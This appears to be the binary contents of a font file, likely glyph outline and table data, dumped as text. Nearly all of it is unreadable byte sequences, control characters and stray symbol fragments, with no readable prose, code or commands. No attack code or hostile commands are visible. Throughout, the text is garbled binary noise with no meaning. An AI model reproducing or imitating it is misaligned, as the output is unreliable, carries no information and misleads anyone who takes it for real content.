=f�I3<#@?A#A3c1#D_"GkIwn@k=8;,(&W"<:@'H	 657!9-�m�*O>7&54?632>32>7654.+"#6&+"%654.'&#"d!? �
1��>].rF�l
)?U9�/I3 @WQ�QB& +Y�����!.&"iK�&2
��35L�$##$�tRfB>me_13UKF%J'�^�1(�>8]�GV؅ :/"
9<$�n�
4! 47!>?#".547>7!3267!1M��5
7	�d~1(?99!��k
,LuU7IfF+)H3q�]%�uP7A+#�]_�'/kw'=KBrjg6=_L?:9!8'63Z]�+�J654.#"326%! &547>3654&#"#764.#"!!2>3  0Q64UE2
	7\>V|?`���d�ˁCb$37%,�"*
��RZq3�R2>-C?>iQ7.NN'�y��GS��r430( =	np	5Q6�UOQS�.6��N7654.#">3!67654.#"!>32(@(BX+8<G-8Z ���ġ�3T9c�t���$��ݥ
F5.L/
�)!US�%�	���p��9-HJ#�z������m%+5f?Zu]2�o�PD# 54?>732>7654+7327654&'&547!�gRM2`�ߘ��8TtM�7Q=*
�QoJ.Y�(�a'3�!&VE�Fy1@}6~�?�p�\N���byA���C��`��$O|X&e·
4-�'. >"e7#�"654.#"32>%! 47!2,N6�A�7]J552����Sk$D=0n�O;
LR&��F5�!HpK���jHU$
-!: (X32>7654.#">32>32!>54.#"#76.#">72!".547T&B+>dL4
,K46YH5�Hg�H)L?.6�Z���
 $
�(%,":3�C��h4����x�]<0HO'!GqPB0BF?kJqL')=)QS�J`6=(	pn	1)��+8:z�%GV���M��!JU��n��V32>7654.#"! 47672>7654&'.'" 547!!3#�"1>8*#0>8)YR���D��Uh5[E0	AH+,��
E�
Oc#�-�7"xJ+�$211C&0//@���\83;l�� $$=P5O5/`*0V*�-4b��E#� F4.P9}6'*U�#654&#"326%!".547!>3
Hhl�
Glg�F5�����f�$m<yG�C5K���B3K|�����L��$N[���<5��I
�n��3%! 47>7;267654&'.54?%!%!(����K`R�$#
Kcm�;FU?9��2Q%Wi2��VXR3��B6?Q�U�2]3& @aio5l'Cv4�5e)��O���M>H�@.�N! 4?!3267654.#!7!2>76.#!7!2>76.'.5473#%����?%Lfl���+

��+8Q2�`	�)J_2�MA7(�h}��A3<��#@YJR(	��
P$*(� =^!Q&vFRe���n�f! 4767>54&'!327654'#73>764.+732676.+732754'&5473�A�0�R4

	&L d��1�)�",
�)�",�)�Fw�	�2A!�OH<"^<[�cO��d<F��F~Y'pUJ],o�Gl��+$Oor+K�%5$.	�/>#�`*$�(/$
5GbP&Jp1m�@>| ���*->7654&#"267.547% 323$'�
?dr�
Jmf��}Hn$k>73���!a7
9��zj���5-D�$#��C5L��aX�M8=��JY��X��Q�Nv+�n�*+% 4?326?654&+73267!%3R��HG$GTgi�l~�&�r� ��&��N�,��qH�`:2;�{@Vtj!K`û��� ��d=�I(,��n�G%! 47%32>?654.+73>7#"#".5476$!3"32$7R���H
'	Og4ZF/
4R6�,�/\P>;>>{�m	'D*���k�D!��~X�ZN9D*$Dh3O556/�0QsH
	3cn*).ʼ�db~ko����B)H#�	3#"327;7654#"! 47!37#$47! 3#3�ʽ����� ���E�&�UJ���\
F��	 k*kk0�s�4x�p�����',{L,3f��(.��L�!�o*=654&+"267%!"'#72>76&'#&3$4?!2>3�#P#Y d-7R��<$-���)+N<*�
b,:`*��,Q[�@1�Q�!-<�5/<<X�Z���-C,' DG��#h�3=��X.*��>M	�mR*3%! &547%$7654#"'>32327>.'7K,����IrB=5&�!��}-����-�0�R&�ݿ�4<vzU`!Q
*9!H���h1;ޅB�(!��,($�u�'�m�E0!3267654.'%!#"'323267!! &547�&pZud�	+SC0ER&\��Q�d�&Z����
��
3>y~,+Bhe0b>~E=?�'&� �z{�7��06~�n�8+67654#"!6?!! 54767.54��(���V�7�e��I~=�h��
%��aq�"�(!�����7A��b}Q^oo���)1�c5�Z-N�=�+2654&'.#"'67.547%'>7654'"3/Sh�^t*<"
W	�#��O[�o�

3'S�3�'!,�|n#,m|N	<?�"��%*���bz�D|wwL?5'.T*kP�1��3#3#3#��(��(�)����]��654#"322"54763!%"�EP!	<X�
:�>&���'
'X�3$Yӻ,6���/<C�w;l
���{
L32654&#"326?%!>54&#"7>32>32+3267#"&'#"&5467
Jbu:1CP��(,8G�f�UF8�A/9�Q^� =�Y���lDA4�V/O�ERt4�T~��NgU3<h�lC"3/TXH�15P`94�((UOSQ����:=@32�''F?AD��1�X,���{2#"'&'7327676'&+7327676'&#"76763 '�;="���]eht.�Riz7]	
M9hu+�2Dfb qrlm^.tklb'���(@BW���	&1E� OY"�[\p������d	
%!!7!!!!!������+�+����L��C%��b��V����{5M326?%!>54&#"7>32>32#"&'#"&5467"3267>7>54&�
(,7G�g�	VH9�@/9�R^�2�\��@68DŽSx%0�R���4D	394D3�B'40UYF�54O]72�((QEKK����Ā��=<;>��1�X�@JvaZxHA@I*|HQz"IA�/�{
32!6&#"�4W���4�� Tji� /=��񥹹����/
#"!3267�5�����5% Tji� /���=����)9�)!2>&#!!#�'9�yu{~�}9`9�WI�&D�X&���h��B��-�7373!!2>&#!!#�-�.�.�.|�9�TVQX�>99t;*���v��&D�X&���h��*��\0)7!2>&#!7!2>&#!7!#uA0���.�}\N{�1.�{^L}�1.`)t=8f�!fJ�o�&d(�(d&��n�p����
33#'##���j�\��`�I�������!�#3#3!7##3!�"��,���'�]��T��E�����D���c����
(3267654&#3267654&#%!2#!�1|XS
7T=&|FE
.D��0�zn]jK�����6C(3F�-4)�^GQZ	]<ym����
3267654&#'32+h2nt
5n���+���K��{�C1:^��v>L������!!!!!!=���J�p#j��+��D��������7!7!7!7!7!��+��j#�pJ���ۑ�������!7#7!#"&547>32.#"326�~"J>�J��)�8i+$\<j�:`-3����)*�r=H���,.��;/@s
����333###��>�>���H�H��?��t������7!#3!73�0�j����jN���� ���73267#7!#"&&,p>JQ
R��o��<|�14AG���ș����33##]�@b���Еd7��J���x]����W�3!󢺆��D�N����33###k�)�ޢ�������o�����n�b����	33##�Ȑv��Ȑv��`��`������	##3�v��Ƣ�v|�`��D��`
���
"267654>  &54�\�Z�*�Hc*��c[��Y<)_��[=(��ۯgEW�ۯfF����
3267654&#'32+#"/LZT7Z����D=�U�7D(/�kW$�{������!#'&'&+#!23267654&#� p�I D:@���vt��,VLN0N'%4���	^��DcP#Vf$�5>$,Q��##7!#s������������32673#"&54g�o0�Vo�g!���e���'<G?9��Z0�=�333##5�3�����������sf����I��
1"326?#7#"'&547>;7654'&#"7>32�g\1Id�F�*q?y8)���?B�JA�G�9&�/:
bX?��F)-8*Bni �>(R,��42767654'&#"367632+32767#"&54.g-.1J21�F�*89?xb[Y��?B@BI@�G�_�9

20X@fF*bBn54 �fR,$�� 73#7#"&547>322>54&"�z�'54@yQ�~8)'��&xY&x�Y��]6�P2<���� +Qg� +Q���I32676&#"26?%!654&#"7>32>32+3267#"&'#"&47�	.7A '(0	��O+
��%<&R,$T4AU#[>eL��00$[42](>GY:p1..+*(*01�
'&5F
v (D! �/-0,X9hg,�"%"%dvU���654&"2>32#"&'#3�&xY'xl-d8~S�y@T���y� +Qg�+R�44�Q2<��76]g��3#7#"&547>322>54&"�A���(h@yQ�~8P��&xY'x�M��]67�P2<��4�� +Qg�+R��'#"'&547>32!3267'654'&#"aD�J�M7	כ�F2
�"*`@�JtG?Y�T<b'.��R;\&,C0$ #�*!E?��(>32#"'&54?!654'&#"32767pD�J�N6	כ�G1
� )`@�JtG?-,�T<a(.��R;\&,C0$ #�*!#"?��:&'&547>32&'&#";#"32767#"'&547>�U&˜:@BIS4CM!:+$BJt+@5GHDC<ICD>�XP{�$%

aX�
z,'
	�3-5HS��:#"'&'732767654'&+732767654'&#"767632�U&˜:@BIS4CM!:+$BJt+@5GHDC<ICD>�XP{�$%

aX�
z,'
	�3-5HS(��
,654&"26#"&'7326?#"&547>3273+tZ)t\���:o7/g:NW

#bAx[	�w=T�� -ReT"+Qe����AFC,,�R)1��2.Pim	
!#7!#3#73Z��a���I����&���~~���Q����3%3##{�Y���̈I/��7��w%5����%>32#654&"#654&"#3>2�H.\"D�N	
?#
N�N
?!N�y�NU?�(&O+>i���. 0E�m�,!/F�msA%+-&��#+73267654'&#"#3>32�KFC�L??F12%$E�z�jBe(3���<<~=Jf ('G��s^49:&>#��#"3267654'&>32#"'&54�B`BC`�Qӕ�H2	Ӗ�G3�h\$. 4h\$. 4Ę�X?^'-��X?^'��"0732>54&#"767632#"'&#+,6ZuAZ442/9778�K6ڣ>42��!e|6V�W?b&,����>32#654&#"ӕ�z	�-CB`՘��^'-$.Th\9���#"&54733267�ӕ�z	�-CB`՘��^'-$.Th\���#3>32#"&$654&"2�@���(i@yP�~8P&xY'x�b^67�Q1;��4�� *Qg�+QL���3#;#"&547#737�"��:'6���O8��"��~��*$~K@ )!~�4��32673#7#"'&54<O�J	dGE�y�iBe(w���OFh��]49;%=#����!7!2>54&#!7!#��5 �MH
GO�k � h7(���&4!.��E$Y\���(#"'&547326732673#7"'&H.\
D�N
?"
N�N?!
N�y�''U �(&8+>ia�n, 0E��n+!/F���A%T��	#3����f�7���s������d����W�d��4���s��d��T�s��d�V�}+"3254&%$!2.#">32#"&'!�r�RHr�P��4b�V6J�V~�6�`��THF�jh�"�����do	�fo����--u|�SUѲ���lgtng��������jA`73!7!!3#!!7!7;%�3��,�,��3�%�*l+�+l*���������\�Xr!7!;#+732767#"&ި��+N�=b�1fo�y+'b6+ь�`��n9}+�dl�7,d���� #367632#"&$654&"2��z�'63@yQSU~8P&xY&x�Ys]6�P2<�UU4�� +Qg� +QF��#"&547>32.#"3267K3p>��	ۤ8f/#Z4ZuAZ6c1��a',���!f^7U !GM�
4;27654#"763#*''67&'&5467632&'&#"g""]L4�Uk� �A~
	/ 6'nn�833/#--4Z:; $
ee�@4'$>a'�XW�33^%&��
..#"3267>7#"&547>32''7'37�;B]
-AE]u0	͙�y‰'M��M�-��FQF"-Pea7�Mf"+/���[&*��zBA=qAHEB���.#"&'73267654&+732676&#"7>32�^P
ۺ>�C4�HG[
XtJBaOM{YO�:��
i�
I2?f�2"z&"�
PG1IW��3###737>;#"���b�b��	z���*#F7~��~,qW~�T33#+732767#73`�^ppMQ�p'@����v?C�B�,��-#"'&547676;#"'&'73267"326?�2e<k2#
XUk��mhg�602/*X.\e&9R<:Q"64[;P+0~[Y�̎PP		�V\�\T%',[T�K��332673##"&54SO�K13GF���BjBe@w���-OFg��R49`=#��n3#!3#3!737#737#9� �m5��}�����Q��mw~~wm�d�n#7!;#"&547�nH@u��_�~��%'�rK!%���3!73#7!�H��}�H�����~~w~~���737#7!#3#3!737h��������}��m�~~�mw~~w���@)#7330#5&5476;#7!&#"3237276��%��jm5E�w� ¬R�t��
�C,C> ����v\/<s��~�g+��Q#7!;#"&54���t� =�ǃJ��~��!1~bF)��#7!;+73267#"&54�^�tw =�AB�L>:�J��~��!1~x;:~78bF);�<3!!��[ ��0����8>32+732767654'&#"#654'&#"#367632�H/\	D8:n>3J	 
N�N N�z�
&(+*>�(&8)?k��z8=~J|-D�m�*
F�msA&.�(#"&54733267332673##"&"I.\!D�N	
 #
N�N
 !N���;O+*>�(&N+>ja�n. 0E��n,!/F���0%+-���*#?676'.#"+73276?367632�J�,":*,"FEkM4`�4549e(��>�R10U�{rCC�K{�\7B)@(���(6&'&#"#367632;#"'&547�6/*<�z�4459e(	H5Jj+ 0(
1*[��s\7B*?(1��%
�C0C#���	33##m�gG�z�gG���l��m����)67632#"'&54%"!3654'&+3276"ij��G3	ji��H2uB0%�BC0՘XYY>^'-�XYY>](�4(?
-4��-44���)3676?#7!#3!737&'&567>54'&�%wTq�/�i<?%xTp����j<>D9D9��X@q~~q@Ae#�X@h~~h@Add^4z5#R��4z5#-��D&'&#"#"';#"'&54?327676&/&'&54767632�-467>"#z3`&QQ�()?L�-
7<=;A$%*U1e(ST�;:9��)/"1a10
!~=&E)5� "
-"2[22	�� +732767676;#"�@F���> ~=>���*�y8<~ I�q,+~
$c��� 3#;+732767&'&547#737"��:'6�@D�L>!�* 8��"��~��*$~x9<~8)@ )!~���&#7#"'&54?#733333+3276|/�64Ae)445�5�5�5-��12#��]4;%=#+m����m '!b�-3267654'&'7!##"&5476767#7!c1(;<Z
! �)mn���.58�%q+-A<+ 1bO"#/(�n!K",!&�XX�] $[>G%n>��+##"'&54?#7;?2767654'&'7#	a`|Fc+"ee�&"(<60
#k�!J'$+�YXB+D&,�D~¯Q#71P$&/(f��}3#�Z�f�7��s���
��	!!!7!�4�Ds��������{�y���!!;#"'&547!7!e4�Ct?L�-�t������d!~=&G&�y�]�!3276'0#"!367632+'67!7!���3�D�)M1i!������� (����B3_i�$�y��� %!7!#"&'73267654&+�'��4��Z/C<ڹA= 9r;WgK\j��z��
f3|��<7
)5��!654&#"3267"&547>32CB_DE_ؕi(�i(��-&7u�l~,'5v�h��kCN���lBO����
�&�$��/�
u{&�D�����k&
�%��/���1&�dE����2��&%���/�2�&E�����j��&�%��/�j�&�E����o�k&&&�u
��u����of&vV&F�H�����k&
��'��B���1&��G�����2��&��'��B�2�&�G�����j��&��'��B�j�&�G����o��&'��H���o�&G��������&��'����&�G�����&�(��'��}&�'H�����&�(��C��}&�'H���o�k&
�&(�2��L�o�F&�'&H�2��/�k&
�)����k&
�I��f���N&*
�2���X�&J������k&
�+��;`k&
�K�����2��&�+��;�2`&�K�����R&+
\��;`y&KjH���H�o��'���+���k�o`'���K�������&�+��;�`&�K�����&�,���7�&�L����Xk&.
�u��Rk&N
���u����2X�&�.��R�2&�2N����jX�&�.��R�j&�2N��P�2!�&�2/���2
&�O��P�2N&
�<���2N&
�=��P�j!�&�2/��M�j
&�O��2�!�&�2/���
&�O����
k&0
�?u�����f&Pv����
k&
�0�����1&�P����2
�&�0����2�{&�P�����k&
�1��;`1&�Q����2��&�1��;�2`{&�Q����j��&�1��;�j`{&�Q������&�1���`{&�Q��=����&2'
�
�2��X���'�H�&wR���r&3
��w|����V�f&S����k&
�3����V�1&�S���k&
��5����1&�U���2��&��5����2�{&�U���2�N&
��Z����2�&�[���j��&�5��M�j�{&�U�����k&
�6��Z��F1&�V���2��&�6��Z�2F{&�V���2�k&
�&6���Z�2F1&�&V����k&
�7����k&
�W����2�&�7����2��&�W��M�j�&�7��M�j��&�W����&�7�����&�W��-�2��&�8��B�2�`&�X�����&�8����`&�X�����&�8����`&�X��-����&8'
�
�2��j���'�H�&Xw���-T&9
�\����&Yw����2-�&�9����2�`&�Y��)Zr&:
�|��Z-o&C�	Z��)Zr&:
�|��Z-o&vH	Z��)Z`'j5/:��Z-�&j�Z��)Zk&
�:��Z-1&�Z��)�2Z�&�:��Z�2-`&�Z���q?k&
�;�����1&�[���q?k&;
u������&j�[���Nk&
�<�����X�1&�\����
r&=
�.|��1�m&]e����2
�&�=��1�2�`&�']����j
�&�=��1�j�`&�]��;�j`&�K����&Wj����Z-/&Zu�����X�/&\u����k&
�A��8��|!�����2�&�$��/�2u{&�D�����2?r&�
�|��/�2um&�e�������&
��'
�l$��/��u�'�B<������2�k&�
���/�2u&�s�����2��&�(��L�2�}&�'H���m&(
�pu��L���&Hw����2�r&�
�|��L�2�m&�e"���2��&,����27�&�L��=�2��&�2��X�2y}&�R��=�2�r&�
�|��X�2ym&�e�����Ik&b
���u�������f&cv������Ik&b
���u�������f&cC������Im&b
���u�������9&cw�����2I&b�������2��&c����-�2��&�8��j�2�`&�X������k&q
��vu������f&rv�d������k&q
��vu������f&rC�d������m&q
��vu������9&rw�d����2�&q��v����2��&r��d���Nr&<
�|�����X�o&C�	\����2N�&�<�����2�`'�,\���Nm&<
�1u�����X�&\w���5���r&�r��5���r&����5���r&���5���r&����5��&r&����5��:r&����5����&����5����&������r&�r�H����r&�������r&�����r&�������r&���{����r&���g�����&���H�����&�����d��Rr&r��d��Rr&���d���r&��d���r&���d��&r&���d��:r&����c�r&�r�I�����r&���I����r&��;���G�r&���;�����r&���r�����r&���h��e�Vwr&r��e�Vwr&���e�V�r&��e�V�r&���e�V&r&���e�V:r&���e�V��&���e�V��&����1�r&�r����c�r&��������r&������r&������~�r&���6�����r&���6������&���������&�����O�r&r��O�r&�����r&���r&���H&r&���O:r&���O��&���O��&����c�r&�r�I�����r&���I���8�r&��T���L�r&���@�����r&���|�����r&���r�����&���I�����&���I��X��yr&r��X��yr&���X���r&��X���r&���X��&r&���X��:r&��������r&�r���������r&���I���3���r&��O���[���r&���O���x���r&���0���x���r&���&����r&r����r&�����r&����r&����&r&����:r&������&������&�����Nr&��������Nr&�������Nr&�������oN�&������@���r&r��@���r&���@���r&��@���r&���@��&r&���@��:r&���@����&���@����&�����xr&�r������xr&���b���3xr&��O���[xr&���O����xr&���I����xr&���I����x�&�������7x�&���q��5���f&�C��5���f���d��Rf&C��d���f���e�Vwf&C��e�V�f���O�f&C��O�f���X��yf&C��X���f����f&C����f��@���f&C��@���f��5�V�r&�͜��5�V�r&�͜��5�V�r&�͜��5�V�r&�͜��5�V&r&͜���5�V:r&͜���5�V��&�͜��5�V��&�͜�����Vr&�q�����Vr&�q����Vr&�q����Vr&�q����Vr&q������Vr&q������V�&�q�����V�&�q��C�Vwr&�����C�Vwr&�����C�V�r&�����C�V�r&�����C�V&r'�����C�V:r'�����C�V��&�����C�V��&������1�V�r&�q���c�V�r&�q����V�r&�q����V�r&�q���~�V�r&q������V�r&q�����V��&�q����V��&�q��@�V�r&���@�V�r&���@�V�r&���@�V�r&���@�V&r&���@�V:r&���@�V��&���@�V��&�����Vxr&q�����Vxr&q���3�Vxr& q���[�Vxr&!q�����Vxr&q"�����Vxr&q#�����Vx�&$q���7�Vx�&%q��5���F&����5���&����5�V�f&&͜��5�V�y&�͜��5�V�f&�͜��5���9&�s��5�V�9&i͜�����k&
������N&�
�����f&���*����f������V�&�q����rr��{�Vs�����r!77#7!�2����"A��x����yh9w���;��&jsTT��C�Vwf&*����C�Vw{&����C�V�f&�����e�Vw9&s��C�Vw9&x�������f&���D����f������f&���&�����f������V��&�q�����r'r���6��H�&r'r�.�n������&rsM���O`F&���OB&���OH�&���O(����Oh9&s��O��&t���k&
�����N&�
������f&���b����f�����r'����@��R�:r'����������&�sM�����F&�����&������&����(�������V�r&
r�����V�r&
�����9&s�����&t���Nk&
�����NN&�
�����Nf&������tNf������r&���5��s;H�&j�r���;(����s�`fC��@�V�f&2���@�V�`&���@�V�f&���@���9&s��@�V�9&��������f&���q�������f�����xf&���{����xf�����Vx�&�q��9��fvL��r7!#7 M"A"�����x�������991��0!!+u8����������������@
��991��0!!
�1�/�������@
��991��0!!
�1�/�������@
��991��0!!
�1�/�������@
��991��0!!
�1�/������'_�_������&BB���8@4G���91��0KSX��9Y"!3��5׬�~�����4@4G���1��0KSX��9Y"!#�95��׬������o4@4I���1��0KSX��9Y"!#�:6��׬o����a#a8�s8�����d@2
	4	G
������991�<�20KSX��9��9Y"!3!3���5׬��5׬�~����~�����`@0
	4	G
������91�<�20KSX��9��9Y"!#!#}95��׬�-95��׬���������o`@0
	4	I
������91�<�20KSX��9��9Y"!#!#�93��լ�+:3��լo������X#!#P8�s8A7�t8������;y�Z@/4;
9	
���9991���<�20KSX����Y"!!!!!7!yLL+�����+L�}��8�1�;{��@J
	4;;
9

	���99991���2�<�2�20KSX������Y"!!!!!!!7!!7!yLN-��ZL+��J�J��+LZ��-J�}�+�}������`���1��0467>32#"&'.736�HI�256743�IH�426�I�235624�HI�447743�?!�!?q�H��Lou@;
	4I

	�������999991/<<�220KSX������Y"!!!!!!:F���'E���;H��o��o��o����$0<HLp@?J%K+I"L71=
�+�"�%�>4�C�:	L(I1KJ11F17@11.11(1/�����������99991/<�2�2����29999904632#"&5%"32654&4632#"&%"32654&4632#"&%"32654&%��ww��wu�2IH33JJ��xv��vw�4GH33JK�ޥxw��vw�3HH33JK��'��!x��wx��w�K24KK42I�x��wx���G45LM41J�+x��wx���H35LM41J��^�\��1<HWg"2654&46367636762#"/#"/#"&"2654&4632#"&"2765454'&!"2654&#'��-@@ZBC�גkjIIjiKIӕ�jhIKihJKhj�4GHfJK���xv��vw�h,A?[!  #?,  [AB��^�\�H35LM41J}x�TSTS�wx�STST�NG45LM41J}x��wx����K24K&$13$&& )+ &K42Ia`l�!a���`u�����`(�'�D�����`��&�'���w�`$�#!$��`u���`��'�B����1`��'��&��w1�m#@/��91��907m2���)�w#������=�w#@/��91��90	7%'����-B�#�w��v������'��4$x�$(!6763267676'&!}���bm4mjje�`a ./piQ�3*	
(
��77�S#F8^^�LAB\VC)*=	�%(+C"	�����M�B0����_ $'5 $���������SLU��SPPS�EFE��?!#3#3!D�&�z�%�z�%��������j���	!73#73#7���%�z�%�z�%�޾t�t�������'
���
�4����'
��4����'��
���;��
2###T��%#��Ҥ�,��ԿH�農������/��#647632"326767654'&#"#"&4767>32J%#J2.L'3/&%&H=4UUg��$%95�e�� <e?<7UabH>8Tbax�YL+*��|�RMV���@	
!3!73#3#�mn��|�R��*��~~w�����
_@33	
3		334�	��
	���991���<�290KSX����Y"	333##7!7��R�eml#�$�{)����������%!!67632#"'&'7327654'&#"�@%�k&�SS~�DDK<$2=<DwIG23V8:;8ߑ�BAn�XW		�-,K;!"!��
04'&#"326.#"67632#"&5476767632! 6Kh  6Lh$*d3mML!)86?vEEmn���++MFbc�011�1pR1pK�=<u">?o�^_��yvtSL&&	��!#!o����
�?�u�2� ��
-=4&#"326'&'&547632#"'&54767327654'&#"L@P23('AMd�J&&ii��PP?@jN++ij��RRFG� !2F/. !;A-,�1:+*B0T�'(=gHI78YR99./G}KL78d_CC�)"!4,#"!��$3732767#"'&547632#"'&327654&#"!$+223oKK"+66?uEDlm��OP++LEcb�012� 7I54@5M33��
<=u$>>l�``FG�ytsTL%%188R1<98��8!!#5!5!5����8������G!!��LG�A��!!!!��f��fƅ��R
#.547R��#$�42������P�]`�Z�F�R
654&'3��#$�33���Q�P�]`�[����
��#6'&#"#367632�O�J
23%%E�y�65Df)'3�i~D('G��s^4;;��/��T��d��!�C{�d��Tt�d����Tu�d���C��d����C��d��!��T��d��C��d�� ��T��d��!��T��d��4����d��%����d����)��d���iRf��d���iRf��d��������d��������d��������d����t}�d��������d����hT�d����g��d��cnh{�d�������d��
����d�������d������|�d��L�%��dL �%!!!!!!#"32.#"3267��B��#b��9=Aú$%�As2 1e<l�`k<u?`������**99*)�73Ʈ��36C��9*09&'#7&47676?373&'2767#"'#&+�6/9�e�a^o���!�#.-
-�F500�uT`_w7u�a��<3�D	(�02���=��SELQj�

��+�f%$N��12>�*E���
�		&�
B����/6767#"476$32.#"!>32.#"'*]u7r�^���^\l1�a�d3O�[���Ps4�a#.C&g�	$N��12J�=���78��ID�����bǭ`e�����!!!!3#!#7���4��1/5��!l!l.��/u"����ݹ��������#!!37#737#737632.#"!!!H!�.�/� �)��(�0���S�L25~@q?<>(��A)¸��
��W�z|��%(=;z�W���B�/#6'&#"#3676323632#?6'&#"#fk�"

4AZC��6;:AI00�lL yaT�H1?."C־��75����`�`/085cs���VH)v75TR�����!�#7#737#73!3!3#3#!#!3'-a��&A-B&AV�<�VmVB&A-B&AV�R<�V��V�-ax��������J��J���J��J������D�&^32654&##;7332654&/.54'+#!2333632.#"#"'&'#"&5467%b>B/-H*!	 $2644.YK�&)qUu.��&l=7��5I5g30`+05+dP�~57�KN*��_�zQV���&
.(D)
64$((��91iOUM���kc�>��
%��2473$.����	��@!�����F2676&+#.+#!232676&/.7>32.#"#"'&v@@
.@U(��:31::˙6�}_Q(5059=7>"8 {U��5p@8l269#2 �S��;<?ZgfX����spR����֔�-�v/:90/
���� ��0035+.	#����T�"&)-1'#73'33733733#3#!#!#7373'!37kI4��;��;�:4HZn��O��oHr���1r�'����v�������v���V��V���B�vv���B�vvvv���=�
!2#6&+#%"3;3��ɐ6:�: 1t���k�sʐ7:�: /u�������Y���*5=Y�������B�js&�j/�����,v@@#$u&
uUCJ UC
JB E*-,&+*'##
%+#-������9999999991�2��������2�<�290632.#"!!!!3267#"=#73>7#7]V�P�I@8�Oi�9�R�ZR���hM�s?L�U��T�T�$$��KM��g�|�>Z��$$��+K!��!!!!!!#7�j[�K��H�������c��w_`u��!����8L��Ș��!'?'7!!!77�o��Do� o�^�~8*8��3n�!n<��^:MS�:MS�����9MR�9M�7�.i��'6767632#"'&'32767654'&#"67'6767632#"'&'&/#"'&54767632327676767654&'&&#"032Ho�$*(0.;' '#-/29"f,#'!%��		�
	l*%$GmoOL'$

0@&++6)!
		5SK#
0*G(o�&4+-'	1�
	�7+Уc]97#96O3<zav24?�Le2ELy%!+�'+>AHJB @@=kb�3JMq��~Es/4	
%UA4G_KBj��oD7=AiK}f^<={@���
���1@'32327&54767632#72767654'#"'&#"6764'&#"��Ϝq:])|
 \f��K**�m*���*tQ;)��v;.*/qI"'"�Dl��26�X``7a0<㫂�&'�lm�@.j?3thP#l�$:990C#i�"',!23#3#+!#737#73!!6'&+!323��~|TG
HL%:N蹤m�ٱVUYY����
�yG�����[Z�H--HpB[Q���HZHHZ(zff�fE�[�x&1#7!#7&'&54776?3&'&'6767�o#@xy{]^��jW>ˢ��XPaS+RG]b�!&LA�^I�-//ST�KF#�����dtiϥ"��7�?&��
6�#P���aQ�YU"����73!3#3#!!!#737!!/3'# �CL��!E-��-�t��ؤF!~D(DjQ��U��Õ��e��eÕ��Ê����63267# &767#736767!7!676&#">323#!seml�;r�o���,�&�'
c��8&+ak`�m8n�g��'|&�b�A5&�YcRT��45��		�2
f@�PVFC ./���_T�6�� )%#&'&%6?3&'&'67679jm;;6�5͗�KGE��$�%95bT<BT>F�IHcc�	�>6�10�%R7��r�~o�r
��7��N'��(O�Q"z��!o�!!!!!!�2����٦��33�����-Y��r�&#!#!'&+732767!7!&'&+7|�|�"A]�*4���k.k�0�y@ �/~y)z�~��2@�_@[	@_��y,��>*�*;�����+'%7'%!772$7�!�}���^�j�!� a'F�"���"��LV1+��eta!Yys�Yyt�X{r�Y{s�y������! !#!!!7#737#7332>&#�9�P���!,��(��(�,�!�0�tM_� ^_��b�������rv�vt����%%3267# '&547!2."�U|d�]
ք��{OH�}�8Sr�yx	�A<	�7@,�Lԉ�k|r�4�*:0N���ue�vt��� ,>.#"3267#"&5467>32#3"32654&'2#"&5467>8+1=N.*:4*G$jt)',qI!Cj���<-@.?du$")oDdt$"(o���9"��QT#E����i�PYV��5����IF��ID�˫c�L]]ɬa�M\^��3!3'!!!!!!���+��a�a���#��]���x��}�+� ��;`K;`4#"!'7!7>2!6+qSty��қ7�?#&�B��00����ۅ
w����6<u`E�d{��\g�;^�(�42��
	3%!3!#6�����df�U��f]��x��K�+C���o��/2#"547"32764!!!>3"!#7267 �
8��
7���b%���4)/���*W-��-���*W- �4D��4E��:F�9G�=������>;��N���>;}�N,6>2#".5467>"3267>54&'.33264&#32+h�ZZ\[��~}ڶ[\ZZ�~c�IGHH��cd�FHHHHH��sߔ�����|AGGA|NZZ[�~}ڶ[[��}~�[ZZ�GIG�eb��IIHH�be�GIGw���5e7J��3%!2+!327&+67654'&����J�	�����m�5//5��=*__*]��x����~�#�g)Z��Z)����'%!# ! %27&"676'&|������F"C��ob�bb�bn�����%���lk��h�����43�34���������a���%-13&'&7!.+!!2!27&#676'&%3{THv�u2M;o.a4��w�5}f��c��d)���1ED�)�m=���s@1F�~�h�|h������b)���t��L<M!0���f�A@$	

9	#	#
###/�������91�<<�2�<<�9073#######5�dYЙkKu�T���������KB��C��
��
	3%!!!5!F�=���x�C�`��W]��x��'x������x������X�.����m����-*7327673 $54$32!"53!25&'&#"�7L|�|zW@eoT����ڣ�'��(��+�:N}y}zN8�M3TT<`�3Z�A��E�����]\P3RQ4O���	
!!!7!#!!3��-�-���%C�����`�xxp�������p�����{&
�'���V{��������{&
�'���V{��������{'u��V'{���
�������'u��V't���
������{'���V'{���
�������'���V't���
���/����'���V'u��
���*���{'���V'��
������{'���V'{���
���	���{'���V'��
������{'���V'{���
���/����'���V'u��
���	���{'���V'��
������{'���V'��
����w{'{���
���-����&
�'��u��VB���	5!!B#x�4�̂x�#x��x��M		'#'�"x��x$M��x���4�x#B���		'7!5!'7���x���4�x#��x��x����M	!737"��x��x��#x�4�̂x��B���5!'7'7[�x��#x��x#��x���x#�#x��x�ݎ��x���M'3'7#7��x$�"x��x�ގ��x�x#��x���x��#x���-	7!##�v��<��Ļ	v��Ĝ<����7	#5'#5!7��Ĝ<��	�d��Ĝ<����6t	%!537536v�d��Ĝ<�Wv�<��Ļ���-u	'33v�<��Ļv��<��ĻB���3!'7!5!7���O��x��#x�������p��x#�#x��pB���#5!7!'7'7!'ޜ��O�x#��x��w�����p��x�ݎ��x��p;m�6#7!#32767676767676&'&'&#"#"'&'��v��
"!0	#?"A=&.&>�
#!$5>+;6-0$(��v�#*%;(#8MX!GL!!+Im�6#"'&'&'&'&'&#"'67676327676'#5!#�O$0-6;+>4!#
�>&.&=A"?,.!"
��v�([+!!O7!XM8#(H.%#�v�dB���!!'#537���x�Z�x��#x�Z�x��x��x#�#x��x��M'75'3''#��x��x$�"x��x���x�Z�x#��x�Z�x��B���'73'7'7#'7!5,�x�Z�x#��x�Z�x����x��x�ݎ��x��x����M77#75'73؂x��x�ގ��x��x��c�x�Z�x��#x�Z�x��B���'!5!7��w��>�x��#x��x1�x��x#�#x��xB���'7!'7'7!'4�x�‚x#��x��>�w1�x��x�ݎ��x��xB���
53#5!5�����x��#x����,��x#�#x���M
%'3'3!5��x$�"x���,�r�x#��x�����B���
!'7'7!#3r�x#��x�������x�ݎ��x�����M
7#7#5!؂x�ގ��x�������x��#x�r����M%7'3'7!!5"��x��x$�"x��x��"�,�#x�Y�x#��x����x����B��(276767654'&'&'&#52#!5g
	@16T)+51@��x��#x��



	�Q87;=49(*�x#�#x�B��(!'7'7!"'&'&'&547>763"j�x#��x���@15+)T61@	
